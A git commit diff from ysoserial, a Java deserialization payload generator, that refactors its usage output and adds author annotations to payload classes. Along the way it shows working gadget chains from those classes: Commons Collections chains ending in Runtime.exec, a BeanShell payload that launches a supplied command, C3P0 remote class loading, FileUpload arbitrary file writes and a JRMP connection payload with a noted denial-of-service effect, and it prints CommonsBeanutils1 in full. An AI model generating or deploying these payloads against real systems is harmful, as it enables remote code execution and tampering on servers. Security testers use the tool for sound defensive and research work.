fixes, refactoring

This commit is contained in:
Chris Frohoff
2017-09-02 20:57:11 -07:00
parent 6088aa3f20
commit 028ee30e9c
41 changed files with 570 additions and 342 deletions
+22 -16
View File
@@ -1,19 +1,15 @@
package ysoserial;
import java.io.PrintStream;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.*;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes")
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;
@@ -49,18 +45,28 @@ public class GeneratePayload {
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
System.err.println("\tAvailable payload types:");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println(" Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
}
}
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}
final List<String> lines = Strings.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
}
}
+55
View File
@@ -0,0 +1,55 @@
package ysoserial;
import org.apache.commons.lang.StringUtils;
import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
public class Strings {
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean first = true;
for (String s : strings) {
if (! first) sb.append(sep);
if (prefix != null) sb.append(prefix);
sb.append(s);
if (suffix != null) sb.append(suffix);
first = false;
}
return sb.toString();
}
public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
return join(Arrays.asList(strs), "", "", "");
}
public static List<String> formatTable(List<String[]> rows) {
final Integer[] maxLengths = new Integer[rows.get(0).length];
for (String[] row : rows) {
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
for (int i = 0; i < maxLengths.length; i++) {
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
maxLengths[i] = row[i].length();
}
}
}
final List<String> lines = new LinkedList<String>();
for (String[] row : rows) {
for (int i = 0; i < maxLengths.length; i++) {
final String pad = repeat(" ", maxLengths[i] - row[i].length());
row[i] = row[i] + pad;
}
lines.add(join(Arrays.asList(row), " ", "", ""));
}
return lines;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
}
@@ -7,6 +7,8 @@ import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
@@ -17,8 +19,9 @@ import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.beanshell:bsh:2.0b5" })
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
@@ -44,7 +47,7 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQ
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
+13 -12
View File
@@ -15,6 +15,7 @@ import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@@ -22,25 +23,25 @@ import ysoserial.payloads.util.Reflections;
/**
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
*
*
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*
*
* Arguments:
* - base_url:classname
*
*
* Yields:
* - Instantiation of remotely loaded class
*
*
* @author mbechler
*
*/
@PayloadTest ( harness = "ysoserial.payloads.RemoteClassLoadingTest" )
@Dependencies( { "com.mchange:c3p0:0.9.5.2" ,"com.mchange:mchange-commons-java:0.2.11"} )
@Authors({ Authors.MBECHLER })
public class C3P0 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
@@ -49,7 +50,7 @@ public class C3P0 implements ObjectPayload<Object> {
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
@@ -59,10 +60,10 @@ public class C3P0 implements ObjectPayload<Object> {
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
@@ -79,9 +80,9 @@ public class C3P0 implements ObjectPayload<Object> {
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(C3P0.class, args);
@@ -2,6 +2,7 @@ package ysoserial.payloads;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
@@ -9,21 +10,22 @@ import java.util.HashMap;
import java.util.Map;
/*
Gadget chain:
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
AbstractTableModel$ff19274a.hashCode()
clojure.core$comp$fn__4727.invoke()
clojure.core$constantly$fn__4614.invoke()
clojure.main$eval_opt.invoke()
Requires:
org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions
*/
@Dependencies({"org.clojure:clojure:1.8.0"})
@Authors({ Authors.JACKOFMOSTTRADES })
public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception {
final String[] execArgs = command.split(" ");
@@ -54,9 +56,9 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
return targetMap;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Clojure.class, args);
}
}
@@ -1,42 +1,44 @@
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
@@ -18,7 +19,7 @@ import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
@@ -27,23 +28,24 @@ import ysoserial.payloads.util.Reflections;
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Runtime.exec()
Requires:
commons-collections
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
@@ -65,20 +67,20 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
@@ -6,6 +6,7 @@ import java.util.Queue;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -24,7 +25,8 @@ import ysoserial.payloads.util.Reflections;
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
@@ -12,6 +12,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
@@ -26,8 +27,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
@@ -59,7 +61,7 @@ public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
@@ -11,6 +11,7 @@ import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -24,6 +25,7 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
@@ -14,6 +14,7 @@ import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
@@ -21,7 +22,7 @@ import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
@@ -30,23 +31,24 @@ import ysoserial.payloads.util.Reflections;
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Runtime.exec()
Requires:
commons-collections
*/
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
@@ -68,9 +70,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
@@ -80,7 +82,7 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
@@ -6,6 +6,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;
@@ -33,6 +34,7 @@ import java.util.Map;
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.MATTHIASKAISER })
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
@@ -11,6 +11,7 @@ import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@@ -20,19 +21,19 @@ import ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* DiskFileItem.readObject()
*
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
*
*
* @author mbechler
*/
@Dependencies ( {
@@ -40,6 +41,7 @@ import ysoserial.payloads.util.Reflections;
"commons-io:commons-io:2.4"
} )
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
@Authors({ Authors.MBECHLER })
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
public DiskFileItem getObject ( String command ) throws Exception {
@@ -6,12 +6,13 @@ import java.util.Map;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/*
Gadget chain:
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
Comparator.compare() (Proxy)
@@ -20,26 +21,27 @@ import ysoserial.payloads.util.PayloadRunner;
...
Method.invoke()
Runtime.exec()
Requires:
groovy
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"org.codehaus.groovy:groovy:2.3.9"})
@Authors({ Authors.FROHOFF })
public class Groovy1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");
final Map map = Gadgets.createProxy(closure, Map.class);
final Map map = Gadgets.createProxy(closure, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Groovy1.class, args);
}
}
}
@@ -13,13 +13,14 @@ import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
*
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
@@ -28,13 +29,14 @@ import ysoserial.payloads.util.Reflections;
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
*
* @author mbechler
*/
@Authors({ Authors.MBECHLER })
public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
@@ -1,6 +1,7 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@@ -8,11 +9,11 @@ import com.sun.rowset.JdbcRowSetImpl;
/**
*
*
* Another application filter bypass
*
*
* Needs a getter invocation that is provided by hibernate here
*
*
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
@@ -24,29 +25,30 @@ import com.sun.rowset.JdbcRowSetImpl;
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*
*
*
*
* Requires:
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
*
*
* Arg:
* - JNDI name (i.e. rmi:<host>)
*
*
* Yields:
* - JNDI lookup invocation (e.g. connect to remote RMI)
*
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectTest")
@Authors({ Authors.MBECHLER })
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () {
return Hibernate1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(command);
@@ -14,6 +14,7 @@ import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -25,7 +26,10 @@ import java.util.*;
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1", "org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Dependencies({ "javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JBossInterceptors1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
@@ -76,4 +80,4 @@ public class JBossInterceptors1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JBossInterceptors1.class, args);
}
}
}
@@ -10,13 +10,14 @@ import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
*
*
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
@@ -24,31 +25,32 @@ import ysoserial.payloads.util.PayloadRunner;
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
*
* Requires:
* - JavaSE
*
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
@@ -7,6 +7,7 @@ import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@@ -23,10 +24,10 @@ import ysoserial.payloads.util.Reflections;
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
*
* Requires:
* - JavaSE
*
*
* Argument:
* - Port number to open listener to
*/
@@ -34,6 +35,7 @@ import ysoserial.payloads.util.Reflections;
"restriction"
} )
@PayloadTest( skip = "This test would make you potentially vulnerable")
@Authors({ Authors.MBECHLER })
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
+9 -8
View File
@@ -1,6 +1,7 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -26,9 +27,9 @@ import net.sf.json.JSONObject;
/**
*
*
* A bit more convoluted example
*
*
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
@@ -52,19 +53,19 @@ import net.sf.json.JSONObject;
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes", "unchecked", "restriction"
} )
@Dependencies ( {
"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
@Dependencies({ "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6",
"commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"
} )
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" })
@Authors({ Authors.MBECHLER })
public class JSON1 implements ObjectPayload<Object> {
public Map getObject ( String command ) throws Exception {
@@ -14,6 +14,7 @@ import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
@@ -25,7 +26,10 @@ import java.util.*;
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final",
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21" })
@Authors({ Authors.MATTHIASKAISER })
public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
@@ -76,4 +80,4 @@ public class JavassistWeld1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JavassistWeld1.class, args);
}
}
}
@@ -6,6 +6,7 @@ import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
